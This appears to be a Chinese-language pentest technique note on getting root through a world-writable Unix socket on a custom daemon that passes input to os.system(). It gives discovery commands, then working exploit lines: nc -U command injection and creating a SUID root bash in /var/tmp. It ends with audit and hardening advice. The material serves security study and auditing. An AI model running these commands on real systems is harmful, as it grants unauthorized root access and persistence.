Unix domain socket 提权
自研守护进程常以 root 运行,并用 Unix domain socket 提供本地接口。如果 socket 文件权限过宽(如 0777),且服务端把收到的文本直接交给 os.system() 或 shell 执行,任何本地用户都能借这条通道以 root 身份执行命令。
判断前提
| 条件 | 说明 |
|---|---|
| root 进程监听 Unix socket | ps aux 中 root 运行的自研守护进程 |
| socket 文件权限过宽 | 0777 等任何本地用户可连接 |
| 收到的文本直接进 shell | 服务端用 os.system() 或 shell 拼接执行 |
发现
ss -xlpn | grep <关键词>
find / -type s -perm 0777 2>/dev/null
ps aux
ss -xlpn 列出本机监听的 Unix socket;find 直接按权限筛选 socket 文件;再结合 ps aux 中 root 运行的自研守护进程,判断哪个进程在监听目标 socket。
利用
echo "RUN id > /tmp/out.txt 2>&1" | nc -U /tmp/daemon.sock
cat /tmp/out.txt
os.system() 没有回显时,把命令输出重定向到文件再读取。也可以注入落地类命令,例如写入 authorized_keys 或生成 SUID bash:
echo "RUN cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash" | nc -U /tmp/daemon.sock
SUID 副本放 /var/tmp,避开 /tmp 常见的 nosuid 挂载。
审计清单
ss -xlpn中是否有非常见路径的 socket,属主是否为 root。- socket 文件权限是否宽于预期,
find -type s -perm 0777有无结果。 - 守护进程源码中外部输入是否拼接进
os.system()或 shell 调用。 - 命令无回显时,能否通过输出重定向读到执行结果。
防御建议
- socket 权限收敛为 0660 并限定专用组。
- 协议白名单化,不把外部输入透传给 shell。
- 守护进程降权运行,仅保留必需权限。
- 对 socket 创建与连接行为做监控。